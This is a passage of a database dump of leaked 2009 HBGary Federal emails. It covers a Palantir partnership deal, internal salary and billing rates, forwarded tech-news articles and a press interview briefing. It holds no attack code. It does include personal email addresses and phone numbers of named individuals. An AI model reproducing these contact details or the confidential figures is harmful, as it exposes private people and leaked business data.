\r\n\r\n      \r\n',784,'aaron_hbgary_com/784.html'),(817,'2009-12-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000101.M927211P3547Q817.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','Hey Matt,Last minute Christmas shopping consumed my day.A few questions and I think we are ready.1. &nbsp;The software licences will allow us to run more than 1 \"copy\" of the Palantir software? &nbsp;Reason being is our split between Sacramento and Either DC or Colorado Springs.2. &nbsp;I know Palantir runs on Oracle. &nbsp;Will we need to buy an oracle license or will the \"trial\" license work for our purposes?3. &nbsp;The video. &nbsp;That is to be developed by HBGary Federal?AaronOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&lt;P3 HBGary.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5924,'aaron_hbgary_com/5924.html'),(818,'2009-12-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000102.M126822P3547Q818.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Palantir partnership','Hi Penny,Here are the rates Ted and I have worked up.  Tomorrow we are going to work out some package rates for different types of work and we can talk about those.  The multiple is 1 for Colorado, 1.27 for Sacramento, and 1.49 for DC to reach the Median Salary.Title						Base	Mult.	Salary		hr/co	hr/ca	hr/dcReverse Eng Level 1			65000	1.49	96850		65.49	83.18	97.59\r\nReverse Eng Level 2			85000	1.49	126650		85.65	108.77	127.61\r\nReverse Eng Level 3			95000	1.49	141550		95.72	121.57	142.63\r\nSW Dev 1					55000	1.49	81950		55.42	70.38	82.57\r\nSW Dev 2					75000	1.49	111750		75.57	95.97	112.60\r\nSW Dev 3					95000	1.49	141550		95.72	121.57	142.63\r\nIntel Analyst 1				55000	1.49	81950		55.42	70.38	82.57\r\nIntel Analyst 2				70000	1.49	104300		70.53	89.58	105.09\r\nIntel Analyst 3				85000	1.49	126650		85.65	108.77	127.61\r\nCyber Intel Analyst 1			55000	1.49	81950		55.42	70.38	82.57\r\nCyber Intel Analyst 2			70000	1.49	104300		70.53	89.58	105.09\r\nCyber Intel Analyst 3			85000	1.49	126650		85.65	108.77	127.61\r\nForeign Linguist 1			75000	1.49	111750		75.57	95.97	112.60\r\nForeign Linguist 2			95000	1.49	141550		95.72	121.57	142.63\r\nForeign Linguist 3			105000	1.49	156450		105.80	134.36	157.64\r\nProgram Manager 1			75000	1.49	111750		75.57	95.97	112.60\r\nProgram Manager 2			95000	1.49	141550		95.72	121.57	142.63\r\nProgram Manager 3			105000	1.49	156450		105.80	134.36	157.64\r\n\r\nAaron\r\n\r\nOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:OK, what works for you?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 11:23 AMTo:&nbsp;Penny HoglundCc:&nbsp;Greg Hoglund; Ted VeraSubject:&nbsp;Re: Palantir partnership&nbsp;Ok that\'s what I want to talk about. &nbsp;Can we set up a teleconference?&nbsp;AaronFrom my iPhoneOn Dec 22, 2009, at 1:15 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:Not necessarily, they are integrating with HBGary, not HBGary Federal since we are having to do integration.&nbsp; HBGary Federal will sell that integration and use it but if is effects the software it should be under HBGary&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 7:25 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Ted VeraSubject:&nbsp;Fwd: Palantir partnership&nbsp;FYI. &nbsp;Partnership agreement with Palantir. &nbsp;First glaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the rest now.&nbsp;Aaron&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date:&nbsp;December 21, 2009 6:01:57 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir partnership&nbsp;Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',392,'aaron_hbgary_com/392.html'),(819,'2009-12-24','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000102.M315325P3547Q819.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','10 News Media Content Trends to Watch in 2010','10 News Media Content Trends to Watch in 2010The news media is experiencing a renaissance. As we end the year, its state in 2009 can be summarized as a year of turmoil, layoffs and cutbacks in an industry desperately seeking to reinvent its business model and content. But despite the thousands of journalism jobs lost, the future has much hope and opportunity for those that are willing to adapt to a changing industry.\r\nMuch of that change is happening now. And in the coming year, news organizations will look to approach monetization and content experimentation that is focused on looking at the web in a new way. News in 2010  will blur the lines between audience and creator more than ever in an era of social media. Below is a look at several trends in content distribution and presentation that we will likely see more of in 2010.\r\n\r\n\r\n1. Living Stories\r\n\r\n\r\nOne of the difficulties of the web is being able to really track a story as it develops and creating engaging formats for long-form articles. The article page is often the only thing that a reader sees and not the story in its full context. In 2010, news organizations will design stories that are more suited to the way readers consume online content.\r\nOne early sign of this is the recent collaboration between Google, The New York Times, and The Washington Post on the Living Stories project, an experiment that presents coverage of a specific story or topic in one place, making it easy to navigate the topic and see the timeline of coverage on the story. It also allows you to get a summary of the story and track the conversations taking place. This format contextualizes and personalizes the news.\r\n\r\n2. Real-Time News Streams\r\n\r\nOur news consumption has morphed into a collection of streams. Whether it’s from our Twitter homepage or an RSS reader or a Facebook feed, we get bites of information that sometimes satisfy us or direct us to places where we can get more information.\r\nThe move toward real-time news is increasingly important, and media critics and professors like Jeff Jarvis predict these streams will replace web sites. That change may not come in 2010, but streaming news elements will become a an integral part of traditional news sources. We’re already seeing Twitter streams and other visualizations incorporated into news home pages with updated financial and market information from new sources like Google Finance.\r\nThe challenge however, is that journalists need to accept that news breaks through real-time social media platforms like Twitter, said Alfred Hermida, an assistant professor at the University of British Columbia School of Journalism.\r\n\r\n3. Blogozines\r\n\r\n\r\nAnother format that takes effort, but can be an engaging alternative to the traditional blog post is the blogozine. This could be great to keep a reader engaged in a long-form story. Though I don’t think we will see the death of simple blog posts, a rich-media and rich-layout approach from blogozines will gain momentum in 2010.\r\n\r\n4. Distributed Social News\r\n\r\nThis year the social news trend gained momentum with the explosion of Twitter. Moving into 2010, news organizations will further distribute their content across social platforms that allow its users to create a personalized and socialized news stream. Personalized search has emerged in 2009, and 2010 will see more sites integrating applications that allow users to create personalized news streams.\r\nMore news organizations are beginning to establish a presence across multiple platforms and social sites, and it’s not just the popular sites like Twitter and Facebook anymore. Newsweek, for example, started a Tumblog because the “format is adapted especially well to magazine journalism, since it encourages a deeper engagement.”\r\nRobert Quigley, social media editor at the Austin American-Statesman, said he thinks news sites will continue to exist for a while, but the “smart news sites will extend their tentacles into the spaces where people are communicating, and talking about news.”\r\n\r\n5. News Goes Mobile\r\n\r\n\r\nIn general, 2010 will see a distinct transformation in the way people consume news as smart phones become ubiquitous. And as more startups enter the market of mobile transactions, news organizations could develop strategies or provide services for transactions to take place on mobile apps.\r\nNews companies should be prepared with a mobile-first strategy. Instead of just selling ads to business customers, news organizations can help small businesses develop applications that help them do business in the mobile marketplace, said Steve Buttry, C3 coach at Gazette Communications.\r\nMathew Ingram, communities editor at The Globe and Mail, said mobile also has great potential to increase the number of content consumers, especially if it is done in a geo-targeted way to reach a local audience. Something that news organizations should also be prepared for is e-readers gaining a larger market and the emergence of the Apple Tablet, which publishers like Wired Magazine are already getting ready for. Meanwhile, Time Inc. and other magazine publishers are looking to create a Hulu for magazines where consumers can purchase and manage digital subscriptions.\r\n\r\n6. The Year of Geo-Location\r\n\r\nGeo-location services will be the buzz of 2010, though it’s difficult to predict which services will rise to the top. Geo-tweets could take this space, but companies like Foursquare and Gowalla, which combine geo-location with social gaming, are highly addictive and have a lot of potential, especially with an advertising format that serves its users.\r\nMathilde Piard, social media manager at Cox Newspapers, said there is a lot of potential for news sites to get into the market of events and venue listings. “There are event listings and business directory listings out there but none that are good enough yet,” Piard said, and “Geo-tagging goes hand-in-hand with this stuff.”\r\nAlso, imagine the opportunity for news companies to work with advertisers to make ads more relevant to location. Imagine an iPhone app that buzzes when you walk by a bar telling you the daily drink special, Quigley from the Statesman said.\r\n\r\n7. Story-Streaming\r\n\r\n\r\nNew storytellers means new ways of telling stories. We will see more story-streaming with the growing popularity of simple blogging platforms like Posterous and Tumblr.\r\nAn example of this is a project from Daniel Honigman and Len Kendall called the3six5, which aims to get 365 people – one for each day of the year – to write about something that is happening in the world that day and how it relates to them. Though neither Honigman or Kendall are journalists, the storytelling format of life streaming is what attracted the two to start the project. Honigman said it is an experiment in crowdsourced storytelling.\r\n\r\n8. Social TV Online\r\n\r\n2010 will see some big improvements in online video and even greater shifts of viewers moving away from their TVs to watch online as companies like Hulu and others reinvent the space. The coming year could see sites like Hulu becoming profitable, and even extending to international markets to increase viewership.\r\nWe’ve seen TV shows like PBS’s News Hour moving to YouTube, and 2010 will see an increased push for TV to reinvent itself online. One way of doing this is through “social TV.” Hulu, for example, lets Facebook friends watch shows together, and has account, rating, and sharing elements akin to social giant YouTube. We’ll see social TV take center stage in 2010.\r\n\r\n9. Marketers as Producers\r\n\r\n\r\nMarketers are also beginning to skip the journalist as a middleman to produce their message and are instead producing it themselves. Mike Sprouse, chief marketing officer at Epic Advertising, started a 28-page monthly (printed) magazine called Winning the Web. The magazine includes commentary and content on emerging trends in online marketing, and is produced by just two people working full-time. It’s distributed to about 3,000 people and is completely free.\r\nSprouse sees more marketers and other professionals in general moving into the direction of producing content themselves. He said most companies have a blog or a Facebook page, and going into the coming year, more companies will shift to produce content themselves in a “thought leadership” approach.\r\n\r\n10. Social News Gaming\r\n\r\n\r\nWith social gaming sites growing in popularity (Facebook’s Farmville is bigger than Twitter), news media companies will surely experiment with creating their own social news gaming applications. Social gaming is highly addictive and if a news organization were to effectively execute their own game, it could serve as a way to keep news consumers coming back and a way to present stories or information in new ways.\r\nNBC introduced a social media game for its series “Chuck” called Chuck Me Out that lets users gain points for spreading news about the show or getting friends to watch it. The person with the most points by March 8 will have their photo appear on the show or win one of another several prizes. Perhaps a similar concept could be applied to news content in 2010.\r\n\r\nMore journalism resources from Mashable:\r\n\r\n\r\n- 8 Must-Have Traits of Tomorrow’s Journalist\r\n- 10 Ways Journalism Schools Are Teaching Social Media\r\n- The Journalist’s Guide to Twitter\r\n- Why NPR is the Future of Mainstream Media\r\n- Social Journalism: Past, Present, and Future\r\n- Everything I Need to Know About Twitter I learned in J School\r\n- 10 Must-Haves for Your Social Media Policy\r\n\r\nImage courtesy of iStockphoto, ProfessorVasilich\r\nTags: journalism, Lists, new media, News\r\n\r\n\r\n          \r\nFrom my iPhone',1304,'aaron_hbgary_com/1304.html'),(820,'2009-12-24','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000103.M395957P3547Q820.eml','aaron@hbgary.com','Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET','Hi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN\'s sister publication. Most likely, it will run on both Web sites.\r\n&nbsp;\r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can\'t arrange a three-way call, alas, but perhaps you can.\r\n&nbsp;\r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n&nbsp;\r\nBest, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;\r\n\r\n',3323,'aaron_hbgary_com/3323.html'),(821,'2009-12-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000103.M936580P3547Q821.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Federal Computer Week Phone Interview Briefing Sheet for Tuesday 	Dec. 29th at 10 AM ET','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: December 24, 2009 11:19:38 AM CSTTo: aaron@hbgary.comSubject: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET\r\nHi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN&#39;s sister publication. Most likely, it will run on both Web sites.\r\n\r\n \r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can&#39;t arrange a three-way call, alas, but perhaps you can.\r\n\r\n \r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n \r\nBest, Karen\r\n \r\n \r\nKaren Burke\r\n650-814-3764 \r\n\r\n      \r\n',10422,'aaron_hbgary_com/10422.html'),(822,'2009-12-24','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000104.M140171P3547Q822.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Share Video and Photos in Real Time With Pegshot','Share Video and Photos in Real Time With Pegshot	This post is part of Mashable’s Spark of Genius series, which highlights a unique feature of startups. If you would like to have your startup considered for inclusion, please see the details here.  The series is made possible by Microsoft BizSpark.\r\n	Name: Pegshot\r\n	Quick Pitch: Pegshot is a mobile photo/video service that enables you to quickly share “what’s happening where you are” with friends and family.\r\n	Genius Idea: Think of Pegshot as Flickr meets Foursquare, with Twitter and Facebook support also included. It’s a web service and an iPhone and Android app that lets you share your photos and videos — tagged by location — with friends and family. When you upload content to Pegshot, you can identify the location (which then adds a really cool map peg next to your upload). Plus, you can cross-publish your stream to Twitter and Facebook.\r\n\r\n\r\n\r\nGetting Started w/ Pegshot produced by Pegshot  on WellcomeMat\r\n\r\nWhat I like about Pegshot is that it keeps the chronology of when you take photos or videos intact. Often times, I’ll take a lot of photos that I’ll want to share, but unless I upload them in the order that they were taken, they show up in my various photo streams completely out of sync. It’s really annoying when I’m trying to show less tech-savvy family members my photos and they’re all out of order.\r\nWe like that Pegshot supports two of the biggest mobile platforms (iPhone and Android) and that it can also integrate directly with your other social networking accounts like Twitter and Facebook. If you’re looking for a way to simply share your photos and videos with family and friends — while also being able to plug into your existing social networks — give Pegshot a try.\r\n\r\nSpark of Genius Series Sponsored by Microsoft BizSpark\r\nBizSpark is a startup program that gives you three-year access to the latest Microsoft development tools, as well as connecting you to a nationwide network of investors and incubators. There are no upfront costs, so if your business is privately owned, less than three years old, and generates less than U.S.$1 million in annual revenue, you can sign up today.\r\n	Entrepreneurs can take advantage of the Azure Services platform for their website hosting and storage needs. Microsoft recently announced the “new CloudApp()” contest – use the Azure Services Platform for hosting your .NET or PHP app, and you could be the lucky winner of a USD 5000* (please see website for official rules and guidelines).”\r\nReviews: Android, Facebook, Flickr, Foursquare, PHP, Twitter, iPhone\r\nTags: facebook, geolocation, iphone, pegshot, twitter\r\n\r\n\r\n          \r\nFrom my iPhone',14835,'aaron_hbgary_com/14835.html'),(823,'2009-12-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000104.M333163P3547Q823.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET','Great overview Karen, thank you. &nbsp;Your more than welcome to participate in the call. &nbsp;I can dial you in. &nbsp;I will rely on your judgement here as this is my first official interview. &nbsp;To give &nbsp;you a bit of background, I am usually pretty comfortable in similiar settings, giving speaches, talks, etc. &nbsp; My one thought was does having you one change the dynamic of the interview at all in the positive or negative?What do you think?AaronOn Dec 24, 2009, at 12:19 PM, Karen Burke wrote:Hi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN\'s sister publication. Most likely, it will run on both Web sites.\r\n&nbsp;\r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can\'t arrange a three-way call, alas, but perhaps you can.\r\n&nbsp;\r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n&nbsp;\r\nBest, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;\r\n\r\n      &lt;FCW Phone Interview 12.29.09.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14943,'aaron_hbgary_com/14943.html'),(824,'2009-12-25','\"Jeanne Woodward\" <growcloser2him@gmail.com>','/aaron@hbgary.com/new/1297000104.M524689P3547Q824.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\n            Jeanne Woodward has indicated you are a Colleague at Northrop Grumman Information Systems:\r\n\r\n  \r\n    Since you are a person I trust, I wanted to invite you to join my network on LinkedIn.\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Jeanne Woodward\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n    WHY MIGHT CONNECTING WITH JEANNE WOODWARD BE A GOOD IDEA?\r\n    People Jeanne Woodward knows can discover your profile Connecting to Jeanne Woodward will attract the attention of LinkedIn users. See who\'s been viewing your profile.\r\n    &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',10615,'aaron_hbgary_com/10615.html'),(825,'2009-12-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000104.M716304P3547Q825.eml','\"Barr Aaron\" <aaron@hbgary.com>','Connect','Neat idea\r\n\r\nCheck out this application:\r\n\r\nhttp://itunes.apple.com/us/app/connect/id298684798?mt=8\r\n\r\n\r\n\r\n',11497,'aaron_hbgary_com/11497.html'),(826,'2009-12-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000104.M912074P3547Q826.eml','\"Ted Vera\" <tedvera@me.com>','Re: Connect','Get rdm.  Only $2 over holidays.\r\n\r\n From my iPhone\r\n\r\nOn Dec 25, 2009, at 12:01 AM, Ted Vera  wrote:\r\n\r\n> Neat idea\r\n>\r\n> Check out this application:\r\n>\r\n> http://itunes.apple.com/us/app/connect/id298684798?mt=8\r\n>\r\n>\r\n>\r\n',1135,'aaron_hbgary_com/1135.html'),(827,'2009-12-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000105.M137152P3547Q827.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Connect','I have remote tap\r\n\r\n\r\n\r\nOn Dec 25, 2009, at 10:26 AM, Aaron Barr  wrote:\r\n\r\n> Get rdm.  Only $2 over holidays.\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 25, 2009, at 12:01 AM, Ted Vera  wrote:\r\n>\r\n>> Neat idea\r\n>>\r\n>> Check out this application:\r\n>>\r\n>> http://itunes.apple.com/us/app/connect/id298684798?mt=8\r\n>>\r\n>>\r\n>>\r\n',12802,'aaron_hbgary_com/12802.html'),(828,'2009-12-26','\"Robert Frisbie\" <rf4864@aol.com>','/aaron@hbgary.com/new/1297000105.M350392P3547Q828.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Congratulations on your new position at Mantech International!','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\nRobert Frisbie has sent you a message.\r\n\r\n\r\n  Date:\r\n  12/26/2009\r\n\r\n\r\n  Subject:\r\n  RE: Congratulations on your new position at Mantech International!\r\n\r\n\r\n\r\n  Thanks.  Hopefully we can link up.  Know anyone who would be a good Division Director for IC work?\r\n\r\nOn 12/23/09 9:06 PM, Aaron Barr wrote:\r\n--------------------\r\nNow its official.  I will be coming over at the beginning of the year to talk to Alex about HBGary capabilities and what we can do together.  Hope to see you then.\r\n\r\nMerry Christmas,\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',6576,'aaron_hbgary_com/6576.html'),(829,'2009-12-27','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000105.M576816P3547Q829.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nComments inline.  I hope your holidays were great.  Im not quite\r\nback in the swing of things but will have email access until I get back on the\r\n3rd.  \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe software licences will allow us to run more than 1\r\n&quot;copy&quot; of the Palantir software? &nbsp;Reason being is our split\r\nbetween Sacramento and Either DC or Colorado Springs.\r\n\r\nAbsolutely.  You get unlimited test\r\nand development licenses to put wherever you want.  \r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI know Palantir runs on Oracle. &nbsp;Will we need to\r\nbuy an oracle license or will the &quot;trial&quot; license work for our\r\npurposes?\r\n\r\nYou got this ¾ correct.  There are\r\nthree &#8220;versions&#8221; of Palantir.  One is called a QuickStart which\r\nsimply runs on your laptop with a small backend supporting about 10,000\r\nobjects.  QS are what developers will use when they are writing the integration\r\n(it allows for quick iterations on code).  The second version is run on windows\r\nusing a freely available version of Oracle called Oracle XE (express).  This\r\nversion is a little more beefy but still runs on one machine supporting about 4\r\nGB worth of objects.  This is probably the only form of Palantir you will need\r\nto do larger scale tests.  The third version is basically a mirror of our\r\ndeployment setup with a linux server backend and full oracle install.  You will\r\nnot need this build.  \r\n\r\n&nbsp;\r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe video. &nbsp;That is to be developed by HBGary\r\nFederal?\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.  Should be like a few hours of work, maybe less. \r\nWe need this to send to our clients once the integration is complete and to put\r\nup on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that\r\nthis is a free deal if the integration is performed within 60 days of signing\r\nthe agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8140,'aaron_hbgary_com/8140.html'),(830,'2009-12-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000105.M800659P3547Q830.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Palantir partnership','Ok I think we are ready to sign.AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: December 27, 2009 1:17:11 PM CSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Palantir partnership\r\n\r\n\r\n\r\n\r\nComments inline.  I hope your holidays were great.  Im not quite\r\nback in the swing of things but will have email access until I get back on the\r\n3rd.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Matt,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n1.     \r\nThe software licences will allow us to run more than 1\r\n&quot;copy&quot; of the Palantir software?  Reason being is our split\r\nbetween Sacramento and Either DC or Colorado Springs.\r\n\r\nAbsolutely.  You get unlimited test\r\nand development licenses to put wherever you want.  \r\n\r\n\r\n\r\n\r\n\r\n2.     \r\nI know Palantir runs on Oracle.  Will we need to\r\nbuy an oracle license or will the &quot;trial&quot; license work for our\r\npurposes?\r\n\r\nYou got this ¾ correct.  There are\r\nthree “versions” of Palantir.  One is called a QuickStart which\r\nsimply runs on your laptop with a small backend supporting about 10,000\r\nobjects.  QS are what developers will use when they are writing the integration\r\n(it allows for quick iterations on code).  The second version is run on windows\r\nusing a freely available version of Oracle called Oracle XE (express).  This\r\nversion is a little more beefy but still runs on one machine supporting about 4\r\nGB worth of objects.  This is probably the only form of Palantir you will need\r\nto do larger scale tests.  The third version is basically a mirror of our\r\ndeployment setup with a linux server backend and full oracle install.  You will\r\nnot need this build.  \r\n\r\n \r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n3.     \r\nThe video.  That is to be developed by HBGary\r\nFederal?\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.  Should be like a few hours of work, maybe less. \r\nWe need this to send to our clients once the integration is complete and to put\r\nup on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for 